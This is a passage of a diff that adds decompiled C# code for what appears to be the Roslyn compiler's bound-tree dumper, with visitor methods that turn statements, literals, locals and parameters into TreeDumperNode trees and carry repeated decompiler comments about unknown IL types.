references) + //IL_0039: Expected O, but got Unknown + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Expected O, but got Unknown + return new TreeDumperNode("continueStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[2] + { + new TreeDumperNode("label", (object)node.Label, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSwitchStatement(BoundSwitchStatement node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Expected O, but got Unknown + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Expected O, but got Unknown + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Expected O, but got Unknown + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Expected O, but got Unknown + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Expected O, but got Unknown + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Expected O, but got Unknown + return new TreeDumperNode("switchStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("innerLocals", (object)node.InnerLocals, (IEnumerable)null), + new TreeDumperNode("innerLocalFunctions", (object)node.InnerLocalFunctions, (IEnumerable)null), + new TreeDumperNode("switchSections", (object)null, node.SwitchSections.Select((BoundSwitchSection x) => Visit(x, null))), + new TreeDumperNode("reachabilityDecisionDag", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ReachabilityDecisionDag, null) }), + new TreeDumperNode("defaultLabel", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.DefaultLabel, null) }), + new TreeDumperNode("breakLabel", (object)node.BreakLabel, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSwitchDispatch(BoundSwitchDispatch node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + return new TreeDumperNode("switchDispatch", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("cases", (object)node.Cases, (IEnumerable)null), + new TreeDumperNode("defaultLabel", (object)node.DefaultLabel, (IEnumerable)null), + new TreeDumperNode("lengthBasedStringSwitchDataOpt", (object)node.LengthBasedStringSwitchDataOpt, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitIfStatement(BoundIfStatement node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Expected O, but got Unknown + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Expected O, but got Unknown + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Expected O, but got Unknown + return new TreeDumperNode("ifStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("condition", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Condition, null) }), + new TreeDumperNode("consequence", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Consequence, null) }), + new TreeDumperNode("alternativeOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.AlternativeOpt, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDoStatement(BoundDoStatement node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + return new TreeDumperNode("doStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("condition", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Condition, null) }), + new TreeDumperNode("body", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Body, null) }), + new TreeDumperNode("breakLabel", (object)node.BreakLabel, (IEnumerable)null), + new TreeDumperNode("continueLabel", (object)node.ContinueLabel, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitWhileStatement(BoundWhileStatement node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + return new TreeDumperNode("whileStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("condition", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Condition, null) }), + new TreeDumperNode("body", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Body, null) }), + new TreeDumperNode("breakLabel", (object)node.BreakLabel, (IEnumerable)null), + new TreeDumperNode("continueLabel", (object)node.ContinueLabel, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitForStatement(BoundForStatement node, object? arg) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Expected O, but got Unknown + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Expected O, but got Unknown + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Expected O, but got Unknown + //IL_00f1: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Expected O, but got Unknown + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_0110: Expected O, but got Unknown + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_0116: Expected O, but got Unknown + return new TreeDumperNode("forStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[9] + { + new TreeDumperNode("outerLocals", (object)node.OuterLocals, (IEnumerable)null), + new TreeDumperNode("initializer", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Initializer, null) }), + new TreeDumperNode("innerLocals", (object)node.InnerLocals, (IEnumerable)null), + new TreeDumperNode("condition", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Condition, null) }), + new TreeDumperNode("increment", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Increment, null) }), + new TreeDumperNode("body", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Body, null) }), + new TreeDumperNode("breakLabel", (object)node.BreakLabel, (IEnumerable)null), + new TreeDumperNode("continueLabel", (object)node.ContinueLabel, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitForEachStatement(BoundForEachStatement node, object? arg) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Expected O, but got Unknown + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Expected O, but got Unknown + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Expected O, but got Unknown + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Expected O, but got Unknown + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Expected O, but got Unknown + //IL_0130: Unknown result type (might be due to invalid IL or missing references) + //IL_0136: Expected O, but got Unknown + //IL_0155: Unknown result type (might be due to invalid IL or missing references) + //IL_015b: Expected O, but got Unknown + //IL_016a: Unknown result type (might be due to invalid IL or missing references) + //IL_0170: Expected O, but got Unknown + //IL_017f: Unknown result type (might be due to invalid IL or missing references) + //IL_0185: Expected O, but got Unknown + //IL_0199: Unknown result type (might be due to invalid IL or missing references) + //IL_019f: Expected O, but got Unknown + //IL_019f: Unknown result type (might be due to invalid IL or missing references) + //IL_01a5: Expected O, but got Unknown + return new TreeDumperNode("forEachStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[13] + { + new TreeDumperNode("enumeratorInfoOpt", (object)node.EnumeratorInfoOpt, (IEnumerable)null), + new TreeDumperNode("elementPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ElementPlaceholder, null) }), + new TreeDumperNode("elementConversion", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ElementConversion, null) }), + new TreeDumperNode("iterationVariableType", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.IterationVariableType, null) }), + new TreeDumperNode("iterationVariables", (object)node.IterationVariables, (IEnumerable)null), + new TreeDumperNode("iterationErrorExpressionOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.IterationErrorExpressionOpt, null) }), + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("deconstructionOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.DeconstructionOpt, null) }), + new TreeDumperNode("awaitOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.AwaitOpt, null) }), + new TreeDumperNode("body", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Body, null) }), + new TreeDumperNode("breakLabel", (object)node.BreakLabel, (IEnumerable)null), + new TreeDumperNode("continueLabel", (object)node.ContinueLabel, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitForEachDeconstructStep(BoundForEachDeconstructStep node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Expected O, but got Unknown + return new TreeDumperNode("forEachDeconstructStep", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("deconstructionAssignment", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.DeconstructionAssignment, null) }), + new TreeDumperNode("targetPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.TargetPlaceholder, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitUsingStatement(BoundUsingStatement node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Expected O, but got Unknown + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Expected O, but got Unknown + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Expected O, but got Unknown + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Expected O, but got Unknown + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Expected O, but got Unknown + return new TreeDumperNode("usingStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[7] + { + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("declarationsOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.DeclarationsOpt, null) }), + new TreeDumperNode("expressionOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ExpressionOpt, null) }), + new TreeDumperNode("body", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Body, null) }), + new TreeDumperNode("awaitOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.AwaitOpt, null) }), + new TreeDumperNode("patternDisposeInfoOpt", (object)node.PatternDisposeInfoOpt, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitFixedStatement(BoundFixedStatement node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Expected O, but got Unknown + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Expected O, but got Unknown + return new TreeDumperNode("fixedStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("declarations", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Declarations, null) }), + new TreeDumperNode("body", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Body, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitLockStatement(BoundLockStatement node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Expected O, but got Unknown + return new TreeDumperNode("lockStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("argument", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Argument, null) }), + new TreeDumperNode("body", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Body, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitTryStatement(BoundTryStatement node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Expected O, but got Unknown + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Expected O, but got Unknown + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Expected O, but got Unknown + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Expected O, but got Unknown + return new TreeDumperNode("tryStatement", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("tryBlock", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.TryBlock, null) }), + new TreeDumperNode("catchBlocks", (object)null, node.CatchBlocks.Select((BoundCatchBlock x) => Visit(x, null))), + new TreeDumperNode("finallyBlockOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.FinallyBlockOpt, null) }), + new TreeDumperNode("finallyLabelOpt", (object)node.FinallyLabelOpt, (IEnumerable)null), + new TreeDumperNode("preferFaultHandler", (object)node.PreferFaultHandler, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitCatchBlock(BoundCatchBlock node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Expected O, but got Unknown + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Expected O, but got Unknown + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Expected O, but got Unknown + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_00fb: Expected O, but got Unknown + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + //IL_0101: Expected O, but got Unknown + return new TreeDumperNode("catchBlock", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("locals", (object)node.Locals, (IEnumerable)null), + new TreeDumperNode("exceptionSourceOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ExceptionSourceOpt, null) }), + new TreeDumperNode("exceptionTypeOpt", (object)node.ExceptionTypeOpt, (IEnumerable)null), + new TreeDumperNode("exceptionFilterPrologueOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ExceptionFilterPrologueOpt, null) }), + new TreeDumperNode("exceptionFilterOpt", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.ExceptionFilterOpt, null) }), + new TreeDumperNode("body", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Body, null) }), + new TreeDumperNode("isSynthesizedAsyncCatchAll", (object)node.IsSynthesizedAsyncCatchAll, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitLiteral(BoundLiteral node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + return new TreeDumperNode("literal", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("constantValueOpt", (object)node.ConstantValueOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitUtf8String(BoundUtf8String node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + return new TreeDumperNode("utf8String", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("value", (object)node.Value, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitThisReference(BoundThisReference node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("thisReference", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitPreviousSubmissionReference(BoundPreviousSubmissionReference node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("previousSubmissionReference", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitHostObjectMemberReference(BoundHostObjectMemberReference node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("hostObjectMemberReference", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitBaseReference(BoundBaseReference node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("baseReference", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitLocal(BoundLocal node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected O, but got Unknown + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Expected O, but got Unknown + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Expected O, but got Unknown + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Expected O, but got Unknown + return new TreeDumperNode("local", (object)null, (IEnumerable)(object)new TreeDumperNode[7] + { + new TreeDumperNode("localSymbol", (object)node.LocalSymbol, (IEnumerable)null), + new TreeDumperNode("declarationKind", (object)node.DeclarationKind, (IEnumerable)null), + new TreeDumperNode("constantValueOpt", (object)node.ConstantValueOpt, (IEnumerable)null), + new TreeDumperNode("isNullableUnknown", (object)node.IsNullableUnknown, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitPseudoVariable(BoundPseudoVariable node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Expected O, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected O, but got Unknown + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Expected O, but got Unknown + return new TreeDumperNode("pseudoVariable", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("localSymbol", (object)node.LocalSymbol, (IEnumerable)null), + new TreeDumperNode("emitExpressions", (object)node.EmitExpressions, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitRangeVariable(BoundRangeVariable node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + return new TreeDumperNode("rangeVariable", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("rangeVariableSymbol", (object)node.RangeVariableSymbol, (IEnumerable)null), + new TreeDumperNode("value", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Value, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitParameter(BoundParameter node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + return new TreeDumperNode("parameter", 